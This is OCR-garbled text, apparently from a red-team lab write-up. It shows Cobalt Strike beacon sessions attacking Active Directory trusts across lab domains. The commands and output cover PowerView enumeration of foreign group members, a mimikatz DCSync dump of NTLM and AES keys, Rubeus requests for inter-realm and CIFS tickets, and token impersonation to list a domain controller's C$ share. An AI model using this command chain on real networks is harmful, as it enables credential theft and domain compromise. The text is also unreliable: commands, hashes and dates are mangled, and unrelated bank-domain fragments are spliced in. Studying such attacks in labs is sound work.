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Get-DomainForeignGroupMember -domain <[}

beacon> powershell get-domainforeigngroupmember -domain med-factory.local

[*] Tasked beacon to run: get-domainforeigngroupmember -domain med-factory.local
[+] host called home, sent: 417 bytes

[+] received output

#< CLIXML

GroupDomain : med-factory.local
GroupName + Administrato
GroupDistinguishedName Ll

Membe rDomain

Membe rName ;
MemberDistinguishedName :

1.1.0.1" xmln
urcel =/I164=<PR N="Record"=<AV=Preparing module
1= powershell convertfrom-sid S-1-5-21-3775014555-248400
ked beacon to run: convertfrom-sid S 2
ost called home, sent: 437 bytes
eceived output
#< CLIXML
RAVEN-MED\ExtAdmin

[ITT] Raven-med [I1] ExtAdmin [IT] Med-factory [TT] Administrators [TTTTTTT] ExtAdmin [TT1T] Med-facto
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rubeus. exe asktgt /user: michael /domain: raven-med. local

/aes256: 8d71c60bd250034b4c5dec618bf951c82761d17e45118d53ef26784b3c5c6e09 /nowrap
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beacon= dcsync raven-med.local raven-medymichael

[*] Tasked beacon to run mimikatz's @lsadump::dcsync fdomain:raven-med.local fuser:raven-medymichael command
[+] host called home, sent: 296050 bytes

[+] received output:

[DC] 'raven-med.local' will be the domain

[DC] *dc0z.raven-med.local' will be the DC server

[DC] *raven-medymichael' will be the user account

Object RDN : michael
E Sﬂ" ﬁCCOUNT W

SAM Username : michael

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration i

Password last change : 1/28/2023 3:36:25 PM

Object Security ID t 5-1-5-21-3775014555-2484002919- 2799327105~ 1606
Object Relative ID : 1606

Credentials:
Hash NTLM: a3c4d44a555296c27d65ad9738796142
ntlm- 0: a3c4d44a555296c27d65ad9738796142
lm - 0: 9e9186299fbec490daz5663eb2e 1611

Supplemental Credentials:
* Primary :NTLM-Strong-NTOWF *
Random Value : 7db649847f136ca84f6h8928e0h78e85d

* Primary:Kerberos-Newer-Keys *
Default Salt : RAVEN-MED.LOCALmichael
Default Iterations : 4096
Credentials
aes256_hmac (4096) : Bd71c60bd250034h4cS5dec618bT951cB2761d17e451F8d53ef26784b3c5c6e09
aes128 hmac (4096) : c03c919h3984525851b409629ce2dcef
des_chc_md5s (4096) : 9dda2a6158fe0e0e

beacon> execute-assembly fopt/red/rubeus.exe asktgt fuser:michael /domain:raven-med.local /faes256:8d71c60bd250034b4cS5dec618bf951c82761d17e45178d53ef26784b3c5c6e09 /nowrap

[*] Tasked beacon to run .NET program: rubeus.exe asktgt /user:michael /domain:raven-med.local /aes256:8d71c60bd250034b4c5dec618bf951c82761d17e451f8d53ef26784b3c5c6e09 /nowrap
[+]1 host called home, sent: 551717 bytes

[+]1 received output:

Action: Ask TGT

Using aes256_cts_hmac_shal hash: 8d71c60bd250034b4cS5dec618hT951c82761d17e451F8d53ef26784b3c5c6e09
[*]1 Building AS-REQ (w/ preauth) for: 'raven-med.local\michael'
[*1 using domain controller: ::1:88
[+]1 TGT request successful!
[*1 base64(ticket.kirbi):

doIFKjCCBSagAwIBBaEDAgEWooIEJzCCBCNhggQTMIIEGG6ADAQEFoREDD1IBVK VOLU1FRCSHTONBTKIk HCKgAwIBAqEDHBkbBmty YnRndBsPcmF2ZW4tbWVkLmxvY2Fs04TD2TCCA9Wg AwIBEQEDAQECo 0 IDXwSCABOM7 rv3yK1AddL 18HKS

ServiceName +  krbtgt/raven-med.local

ServiceRealm :  RAVEN-HMED.LOCAL

UserName :  michael

UserRealm ¢+ RAVEN-HMED.LOCAL

StartTime : 6/14/2023 7:37:04 PM

EndTime : 61572023 5:37:04 AM

RenewTill i 6/2172023 7:37:04 PM

Flags 1 name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_shal

Base64(key) +  DeDBXXsCVnO+1p5r4D726Foh1vo5SWZI3mFo/qNTcnB=

ASREP (key) 1 8D71C60BD250034B4C5DEC618BF951C82761D17E451F8D53EF26784B3C5C6E09

MO TGT IO TGTH

rubeus. exe asktgs /service: krbtgt/med- factory. local /domain: raven-med. local /dc: dc02. raven-

med. local /ticket:<...> /nowrap
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beacon> execute-assembly /fopt/red/rubeus.exe asktgs /service:krbtgt/med-factory.local /domain:raven-med.local fdc:dcO2,raven-med.local
/ticket:doIFKjCCBSagAwIBBaEDAgEWo0IEJzCCBCNhggQTMITIEG6ADAGQEFoREDD1IBVKVOLULFRCSMTONBTKIKMCKgAWIBAqEDMBKbBmty YnRndBsPcmF22W4thWVkLmxvY2Fso4ID2TCCA
/nowrap

[*#] Tasked beacon to run .NET program: rubeus.exe asktgs /service:krbtgt/med-factory.local /domain:raven-med.local /dc:dc02.raven-med.local

Jticket:doIFKjCCBSagAwIBBaEDAgEW00IEJz CCBCNhggQTfMIIEG6ADAGEFoREDD1JIBVKVOLULFRCSMTONBTKIkMCKgAWIBAqEDMBKbBmtyYnRndBsPcmF22W4thWVkLmxvY2Fso4ID2TCCA
/nowrap

[+]1 host called home, sent: 555215 bytes
[+]1 received output:

Action: Ask TGS

Requesting default etypes (RC4 HMAC, AES[128/256]1 CTS HMAC_SHA1) for the service ticket
Building TGS-REQ request for: 'krbtgt/med-factory.local’

Using domain controller: dc@2.raven-med,local (::1)

TGS request successful!

base64(ticket.kirbi):

doIFGjCCBRagAWIBBaEDAgEWooIEITCCBCFhggQdMITIEGaADAgEFoREDD1.IBVKVOLU1FRCSMTONBTKIMMCSgAWIBAqEdMBsbBmty YnRndBsRTUVELUZBO1RPULkUTE9SDQUY jggPVMII

ServiceName krbtgt/MED-FACTORY.LOCAL

serviceRealm RAVEN-MED. LOCAL

UserName : michael

UserRealm :  RAVEN-HMED.LOCAL

StartTime 1 6/14/2023 7:41:27 PM

EndTime 1 61572023 5:37:04 AM

RenewTill 62172023 7:37:04 PM

Flags t name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac

Base64(key) +  +iSXhT++tU4Bk JFsSey7KA==

[T1 TGS

(T TGS CIFS [TITIT]

rubeus. exe asktgs /service: cifs/dc03. med- factory. local /domain: med- factory. local /dc: dc03. med-

factory. local /ticket:<...> /nowrap

beacon> execute-assembly rubeus.exe asktgs /service:cifs/bank-dc.els.bank /domain:bank-dc.els.bank /dc:bank-dc.els.bank
/fticket:doIFfDCCBXigAwIBBaEDAGEW00IEQDCCBHxhggRAMIIEdKADAGEF0Q4bDFBST 1RFQ1QuQk FOS6IdMBugAWIBAQEUMBIbBmty YnRndBs IRUXTLk JBTkujggQ8MIIEOKADAGES0QMCAQSiggQqBIIE JnksE8+bb9eX+i3DYehmwvl
[*] Tasked beacon to run .NET program: rubeus.exe asktgs /service:cifs/bank-dc.els.bank /domain:bank-dc.els.bank /dc:bank-dc.els.bank

/ticket:doIFfDCCBXigAwIBBaEDAQEW00IEGDCCBHxhggRAMIIEAKADAGEF0Q4bDFBST1RFQ1QuQkFOS6IdMBugAWIBAqEUMBIbBmtyYnRndBs IRUXTLk JBTkujggQ8MIIEOKADAGES0QMCAQSigqQqBIIE InksE8+bb9eX+i3DYehmwvl
[+] host called home, sent: 531889 bytes

[+] received output

Action: Ask TGS

Using domain controller: bank-dc.els.bank (10.100.10.253)
Requesting default etypes (RC4_HMAC, AES[128/2561_CTS_HMAC_SHA1) for the service ticket
Building TGS-REQ request for: 'cifs/bank-dc.els.bank"®

received output
TGS request successful!
baseb4(ticket.kirbi):

doIFqDCCBaSqAwIBBaEDAgEW00IEqjCCBKZhggSiMIIEnqADAQEF0QobCEVMUYSCQUSLeiMwIaADAGECoRoWGBSEY21mexsQYmFuay 1kYy51bHMuYmFua60CBGQwggRgo AMCARKh AwIBB6KCBFIEqQqROMWT c2euyB7CsSNuTeWRocWuateX

ServiceName + cifs/bank-dc.els.bank

ServiceRealm :  ELS.BANK

UserName +  Administrator

UserRealm +  PROTECT.BANK

StartTime i 3/26/2022 4:20:20 PH

EndTime :  3/27/2022 2:03:36 AM
®
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[L11]

(I TGS I De03 [I11]

beacon= make token med-factory\administrator MNotRealPassword

[*] Tasked beacon to create a token for med-factory\administrator
[+] host called home, sent: 59 bhytes

[+] Impersonated RAVEN-MED\Administrator

beacon= kerberos ticket use /root/Desktop/inbound.kirbi

[#] Tasked beacon to apply ticket in /root/Desktop/inbound.kirbi
[+] host called home, sent: 2902 bytes

beacon= 1s ‘\dcO3.med-factory.localyc$

[*]1 Tasked beacon to list files in ‘\\dc®3.med-factory.localic$
[+]1 host called home, sent: 45 bytes

[*]1 Listing: ‘\\dc03.med-factory.local\c$\

Size Type Last Modified Hame

dir 09/15/2018 $Recycle.Bin

dir 04/28/2023 i Documents and Settings
dir 15 inetpub

dir : 119 PerfLogs

dir 17:52:18 Program Files

dir 17:52:23 Program Files (x86)
dir 16:40:47 ProgramData

dir 8 02:42:16 Recovery

dir 17! System Volume Information
dir 047272023 | Users

dir 04,27 2023 8 Windows

fil 05/08/2023 13:50:0: pagefile,sys
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